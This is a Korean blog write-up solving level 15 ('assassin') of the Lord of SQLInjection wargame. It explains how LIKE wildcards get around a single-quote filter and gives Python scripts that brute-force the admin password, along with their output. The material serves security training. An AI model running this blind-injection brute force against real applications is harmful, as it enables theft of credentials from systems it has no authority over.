본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 15번 assassin

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

Lord of SQLInjection 15번 assassin

 

 

if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 

- 싱글쿼터가 필터링 되어 있다.

- pw 뒤에 like로 pw 길이를 확인할 수 있다.

 

like로 문자열을 비교할 때 _(underscore)는 모든 문자열을 뜻하기 때문에 underscore 수로 알 수 있다.

 

 

길이 구하는 파이썬 코드

import requests

url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={"PHPSESSID":"세션값"} 

pw=""
for i in range(0,10):
    pay=f"?pw="+"_"*i
    res=requests.get(url+pay,cookies=cookies)
    
    if "Hello guest" in res.text:
        print("length:",i)
        length=i
        break

 

--> length: 8

 

 

 

pw구하기

import requests

url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={"PHPSESSID":"세션값"} 

pw=''
tmp=''

for i in range(1,9):
    for j in range(48,123):
        if j == 95: # _ 제외
            continue
        pay = '?pw=' + pw + chr(j) + '%'
        #print(pay)
        res=requests.get(url+pay,cookies=cookies)

        if res.text.find("Hello admin") != -1:
            pw+=chr(j)
            print('Hello admin:',pw)
            break


        elif res.text.find("Hello guest") != -1:
            tmp=chr(j)
            pw+=tmp
            print('Hello guest:',pw)
                
print('pw:',pw)

 

--->

 Hello guest: 9
 Hello guest: 90
 Hello admin: 902
 Hello admin: 902E
 Hello admin: 902EF
 Hello admin: 902EFD
 Hello admin: 902EFD1
 Hello admin: 902EFD10
 pw: 902EFD10

 

출력된 pw를 보면 두번째 글자 '90'까지는 guest와 admin의 pw가 같다.

그래서 url에 ?pw=90%를 입력해도 Hello guest가 나오는 것이다.

?pw=902%를 입력한 경우에 바로 Hello admin이 나오면서 문제는 해결이 된다.

 

 

 

 

 

 

 

 

 

 

 

 

 

반응형